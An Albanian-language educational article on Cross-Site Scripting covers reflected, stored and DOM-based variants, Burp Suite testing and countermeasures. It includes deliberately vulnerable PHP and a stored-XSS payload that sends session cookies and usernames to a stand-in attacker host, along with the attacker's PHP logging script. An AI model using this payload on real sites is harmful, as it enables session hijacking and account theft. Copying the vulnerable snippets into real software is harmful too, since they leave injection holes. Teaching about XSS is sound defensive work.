VINI RE

Ky artikull ka qëllim ekskluzivisht didaktik. Synimi është të tregojë mënyrën e funksionimit të këtyre mjeteve dhe algoritmeve, në mënyrë që të kuptohet logjika e tyre dhe, rrjedhimisht, rreziqet potenciale. Ftojmë këdo që zgjedh t’i përdorë ato ta bëjë këtë në mënyrë të vetëdijshme dhe – aty ku është e mundur – duke informuar gjithmonë personat e përfshirë.

Mjafton të klikoni. Po, vetëm kaq. Një shpërqendrim, një çast besimi i gabuar dhe, me një klikim të thjeshtë të mausit, llogaria juaj përfundon në duart e një pirati informatik! Po, mos mendoni se një sulmues ka domosdoshmërisht nevojë të depërtojë firewall-e, të deshifrojë fjalëkalime apo të shfrytëzojë dobësi të nivelit të ulët në sistemet operative. Jo. I mjafton një link në dukje i padëmshëm, një viktimë pak e pavëmendshme dhe kodi keqdashës ekzekutohet në shfletuesin tuaj. Tingëllon e çuditshme? Ndoshta po, por kështu funksionon Cross-Site Scripting (XSS), një nga teknikat më tinëzare dhe më të nënvlerësuara, sidomos për shkak të thjeshtësisë së dukshme të ekzekutimit dhe seriozitetit të pasojave që mund të sjellë.

Në këtë artikull do të zbuloni se si mund të orkestrohet një sulm i tillë dhe cilat janë dinamikat dhe teknikat që e bëjnë atë efektiv dhe të rrezikshëm, duke nxjerrë në pah rreziqet reale dhe strategjitë mbrojtëse.

NË PRAKTIKË…
Mirë, le të nisim nga fillimi. Zakonisht, keqbërësi përgatit dhe më pas shpërndan një link keqdashës, ndoshta përmes një email-i phishing, një postimi në rrjetet sociale apo një mesazhi të dërguar përmes aplikacioneve më të zakonshme të komunikimit.

Kur përdoruesi i pavetëdijshëm klikon mbi linkun, shfletuesi ngarkon faqen e një siti vulnerabël, ndoshta një faqe e besueshme dhe e njohur për përdoruesin, dhe kodi JavaScript i përgatitur nga sulmuesi aktivizohet duke ekzekutuar të gjitha udhëzimet e programuara. Kështu, brenda një fraksioni sekonde dhe pothuajse gjithmonë pa e kuptuar viktima, agresori fiton akses në informacione të ndjeshme, vjedh cookie-t e autentikimit dhe madje kryen veprime në faqe në emër të vetë viktimës!

KUJDES ME LOGIN-IN!
Një nga pasojat më të rënda të kësaj teknike lidhet me vjedhjen e llogarive. Le të shohim se si ndodh kjo. Gjithçka nis nga cookie-t, ato skedarë të përkohshëm që përdoren nga faqet për të menaxhuar sesionin e përdoruesit dhe që përmbajnë informacione të cilat, nëse vidhen, i lejojnë një pajisjeje tjetër të marrë kontroll të plotë mbi identitetin dixhital të viktimës brenda të njëjtit site. Janë fragmente të vogla të dhënash që kalojnë pothuajse pa u vënë re gjatë shfletimit dhe, pikërisht për këtë arsye, bëhen një objektiv i preferuar për këdo që tenton të depërtojë në sisteme.

Nga ana tjetër, zhvilluesi i faqes duhet të jetë plotësisht i vetëdijshëm se çdo pikë e vetme e futjes së të dhënave përfaqëson një kërcënim potencial. Nuk mjafton të projektohen funksionalitete efikase: duhet qartësia për të analizuar se si çdo fushë, çdo formë, çdo parametër mund të shfrytëzohet në mënyrë të gabuar. Shpesh, pikërisht implementimet më të thjeshta dhe në dukje të padëmshme, si shfaqja e një variabli në HTML apo një thirrje banale nga ana e klientit, fshehin rreziqe shumë të rënda, të afta të shndërrohen në dyer të hapura për sulme të papritura dhe shkatërruese.

Tani, imagjinoni të ndodheni në faqen www.examplesite-xss.com, ku përdoruesit i kërkohet të fusë të dhënat personale në një modul të thjeshtë online dhe t’i konfirmojë ato duke klikuar butonin Submit [Figura #1].

Me shtypjen e këtij butoni, sistemi ridrejton përdoruesin drejt faqes
www.example-site-xss.com?name=Mario&surname=Rossi
e cila thjesht shfaq emrin e futur duke e nxjerrë nga parametri i kaluar në URL. Ky kod, në dukje i padëmshëm, mund të fshehë një rrezik serioz sigurie. Nëse vlerat e dhëna nga përdoruesi shfaqen në ekran pa asnjë kontroll apo filtrimin e duhur, faqja mund të bëhet vulnerabël ndaj sulmeve Cross-Site Scripting.

Kodi është:

<?php // Vulnerable to XSS
echo “Welcome” . $_GET[“name”] . “ “ . $_GET[“surname”] . “!”;
?>

Sulmuesi mund të ndërhyjë dhe të modifikojë URL-në duke futur kod JavaScript në vend të emrit; nëse faqja nuk aplikon mbrojtje, kodi do të ekzekutohet.

Në shembull, injektohet një script që shfaq mesazhin “Warning, site vulnerable to XSS” [Figura #2].

www.example-sitexss.com/welcome.php?name=<script>alert('Warning, Site vulnerable to XSS')</script>&surname=Bossa

Edhe pse në këtë rast kodi është i padëmshëm, një keqbërës mund ta përdorë atë për të kryer veprime shumë më të rrezikshme (siç do ta shohim më pas).

KOMENTE TË RREZIKSHME

Gjithmonë për qëllime thjesht didaktike, imagjinoni tani një rast më të veçantë ku një keqbërës shfrytëzon një dobësi XSS për të imituar një përdorues dhe për të arritur kështu vjedhjen e llogarisë së tij.

Supozoni që një faqe funksionon kështu: në homepage paraqet një form klasik login-i. Pas hyrjes, përdoruesi ridrejtohet në faqen guestbook.php, e cila lejon lënien e një komenti, si në një blog klasik. Duke klikuar butonin Post Comment, teksti dërgohet në një faqe tjetër save_comment.php, e cila e ruan atë në skedarin comment.txt.

Në të njëjtën faqe, natyrisht, do të jetë edhe seksioni recent comments [Figura #3], që shfaq të gjitha mesazhet e futura më parë, duke i marrë nga skedari i përmendur. Nëse kjo strukturë është realizuar pa masa mbrojtëse kundër XSS, një sulmues mund të shfrytëzojë fushën e komenteve për të futur kod JavaScript keqdashës, një të ashtuquajtur payload XSS.

Një shembull mund të jetë ky:

<script>
var user = document.getElementById('currentuser') ?
document.getElementById('currentuser').innerText : 'unknown';
var cookie = document.cookie;
new Image().src = 'https://www.site-hacker.com/test/datasteal.php?user='
+ encodeURIComponent(user) + '&cookie=' + encodeURIComponent(cookie);
</script>

Script-i mbledh si cookie-n e sesionit aktiv (p.sh. TSVB_UID) ashtu edhe emrin e përdoruesit të shfaqur në zonën e login-it dhe i dërgon këto të dhëna në serverin e sulmuesit (https://www.site-hacker.com), më konkretisht në një script PHP të quajtur datasteal.php, i cili i merr dhe i ruan në një skedar log.

<!-- datasteal.php -->
<?php
$user = isset($_GET['user']) ? $_GET['user'] : '';
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : '';
$log = date('Y-m-d H:i:s') . " | " . $_SERVER['REMOTE_ADDR'] .
" | user=" . $user . " | cookie=" . $cookie . "\n";
file_put_contents(__DIR__ . "/log.txt", $log, FILE_APPEND | LOCK_EX);
?>

DUKE PËRMBLEDHUR

Sulmuesi identifikon një faqe vulnerabël ndaj XSS, regjistrohet dhe bën login si çdo përdorues legjitim; në vend që të lërë një koment normal, fut payload-in keqdashës që i lejon të vjedhë të dhënat e sesionit të përdoruesve të tjerë të pavetëdijshëm.

Cookie-t e vjedhura janë “çelësi i hyrjes” që i lejon sulmuesit të hyjë në faqe në emër të një përdoruesi tjetër, pa pasur nevojë për username apo fjalëkalim.

Në [Figura #4] paraqitet një shembull i asaj që sulmuesi sheh në skedarin e log-ut çdo herë që një viktimë viziton faqen ose lë një koment. Janë shembuj specifikë ku, duhet theksuar, nuk janë zbatuar masa sigurie.

Më tej do të shohim disa nga teknikat që duhen përdorur për të shmangur sulme të këtij lloji. Vazhdojmë dhe shohim se si një keqbërës, përmes cookie-ve të kapura, mund të imitojë një përdorues tjetër.

VARIANTET

Cross-Site Scripting nuk shfaqet në një formë të vetme, por paraqitet në disa variante me nivele të ndryshme rrezikshmërie.

Forma Stored XSS është ndër më të rrezikshmet, sepse payload-i keqdashës ruhet brenda bazës së të dhënave ose skedarëve të faqes dhe ekzekutohet sa herë që faqja ngarkohet nga një përdorues (si në shembullin e analizuar më sipër).

Në të kundërt, Reflected XSS aktivizohet me ndërveprimin e thjeshtë të viktimës me një link të krijuar nga sulmuesi: injektimi nuk ruhet në server, por “reflektohet” menjëherë në përgjigje.

Një shembull tipik është faqja e kërkimit, e cila përsërit në ekran atë që merr nga një parametër i URL-së pa bërë escaping.

Funksionon kështu: një sulmues ndërton një link si
https://example.com/search?q=<script>alert(‘XSS’)</script>
dhe ia dërgon viktimës së mundshme; sapo hapet, serveri fut përmbajtjen e variablës “q” në kodin HTML të përgjigjes (p.sh. “Results for: <script>alert(‘XSS’)</script>”).

Shfletuesi e interpreton si kod dhe e ekzekuton, duke shfaqur alert-in, pa u ruajtur asgjë në server. Injektimi ekziston vetëm në kërkesë dhe “reflektohet” në përgjigjen e menjëhershme.

Së fundi, ekziston DOM-based XSS, i cili shfrytëzon manipulimin e drejtpërdrejtë të DOM-it (Document Object Model) nga ana e klientit dhe është më i vështirë për t’u zbuluar me metodat tradicionale, sepse nuk lë gjurmë të dukshme në kërkesat HTTP apo në bazat e të dhënave.

Një shembull ndodh kur një faqe web lexon një pjesë të URL-së në anën e klientit dhe e fut atë në DOM pa kontrolle sigurie:

var name = location.hash.slice(1);
document.write("Welcome " + name);

Nëse një sulmues shpërndan një link si
https://example.com/#<script>alert(‘DOMXSS’)</script>
kur përdoruesi e hap atë, shfletuesi nuk e dërgon atë pjesë të URL-së në server, por script-i në anën e klientit merr përmbajtjen e hash-it (gjithçka pas simbolit #) dhe e fut në HTML. Kështu, shfletuesi e interpreton tekstin si kod JavaScript dhe shfaq menjëherë alert-in.

Pika kyçe është se payload-i nuk shfaqet në përgjigjen e serverit dhe as nuk ruhet, ndaj dobësia ekziston vetëm në logjikën e klientit, e cila shndërron të dhëna të kontrolluara nga përdoruesi në kod të ekzekutueshëm drejtpërdrejt në DOM. Kjo e bën sulmin më pak të dukshëm dhe më të vështirë për t’u kapur nga mjetet në anën e serverit, sepse gjithçka ndodh brenda shfletuesit.

MJETET E ZBULIMIT

Ekzistojnë mjete të ndryshme të afta për të identifikuar dhe verifikuar dobësitë XSS. Edhe plugin-e të thjeshta për zhvillues ose tester në shfletuesit më të përhapur lejojnë injektimin e script-eve të kontrolluara dhe identifikimin e sjelljes së kodit vulnerabël. Ndër mjetet më të përdorura, i njohuri Burp Suite (https://portswigger.net/burp/communitydownload) ofron skanerë automatikë që gjenerojnë payload-e testimi dhe verifikojnë nëse kodi ekzekutohet nga shfletuesi i viktimës. Një mënyrë praktike për zbulim është përdorimi i versionit Community, i cili ofron tashmë funksione për analizën manuale të trafikut HTTPS (proxy, repeater, decoder, comparer dhe vizualizim të kërkesave).

Ekzekutimi në modalitetin Proxy lejon të vëzhgohet në kohë reale se si aplikacioni menaxhon të dhënat e shkëmbyera me shfletuesin: ndërpritet një kërkesë HTTP drejt një moduli input-i (si një fushë kërkimi ose një formë që lejon lënien e komenteve) dhe përmbajtja origjinale zëvendësohet me një payload testimi, si për shembull një i thjeshtë <script>alert('TestXSS')</script>. Pasi kërkesa dërgohet, vëzhgohet përgjigjja në shfletues. Nëse kodi ekzekutohet dhe shfaqet popup-i i alert-it, kjo do të thotë se aplikacioni nuk e ka filtruar siç duhet input-in, duke konfirmuar dobësinë.

Më konkretisht, për ata që dëshirojnë të bëjnë prova me Burp Suite, duhet të shkojnë te Proxy/Intercept dhe të klikojnë mbi Open Browser (për të përdorur shfletuesin e integruar, tashmë të konfiguruar drejt proxy-t të Burp). Si alternativë, mund të përdoret FoxyProxy (https://getfoxyproxy.org/) duke krijuar një profil për 127.0.0.1:8080, duke e aktivizuar dhe duke u siguruar që në Burp Suite (Proxy/Options) listener-i të jetë në të njëjtin host/portë.

Për të inspektuar kërkesat e enkriptuara pa gabime TLS (HTTPS), duhet të instalohet certifikata CA e Burp (vizitoni http://burp/ dhe klikoni mbi CA Certificate për të shkarkuar certifikatën). Në Firefox, certifikata mund të importohet nga cilësimet Privacy dhe Siguria / Certifikata / Shfaq certifikatat / Autoritetet / Importo…

Tani mund të navigoni drejt faqes që do të testohet: të gjitha të dhënat do të kalojnë përmes Burp Suite dhe do të jenë të disponueshme në HTTP history, e cila do të përditësohet automatikisht me të gjitha kërkesat dhe përgjigjet. Mund të zgjidhni një kërkesë dhe të vëzhgoni në panelin e poshtëm (Request) kërkesën HTTP origjinale me metodën (GET/POST/…). Pa hyrë shumë në përdorimin e aplikacionit, mjafton të dini se analiza e parametrave, e shoqëruar me teste të shkurtra manuale, ju lejon të identifikoni se cilët parametra janë të ndjeshëm ndaj testeve të dobësive si XSS dhe të ndërhyni në mënyrë të synuar [Figura #5].

KUNDËRMASAT

Nga pikëpamja teknike, mbrojtja e parë kundër XSS është sanitizimi i saktë i input-it dhe, mbi të gjitha, escaping i output-it të destinuar për klientin. Funksione të dedikuara ose mekanizmat automatikë të framework-eve moderne e ulin ndjeshëm rrezikun, ashtu si edhe një validim koherent i të dhënave dhe escaping-u kontekstual i HTML-së, atributeve dhe URL-ve.

Gjithashtu, konfigurime më kufizuese, si Content Security Policy ose HttpOnly, apo përditësimi i vazhdueshëm i CMS-ve dhe plugin-eve, kontribuojnë në reduktimin e sipërfaqes së sulmit. Përdoruesi, nga ana e tij, mund të kufizojë rreziqet duke shmangur linke të dyshimta, duke përdorur shfletues të përditësuar dhe duke aktivizuar metoda shtesë autentikimi.

Një element shpesh i anashkaluar lidhet, së fundmi, me aplikacionet mobile: shumë prej tyre përdorin shfletuesin WebView për të menaxhuar përmbajtje dinamike dhe, nëse nuk mbrohen siç duhet, mund të ekspozojnë të njëjtat dobësi tipike të faqeve web, duke zgjeruar perimetrin e rrezikut.

Materiali është përgatitur nga bashkëpunëtorë të jashtëm të gazetatjeter.net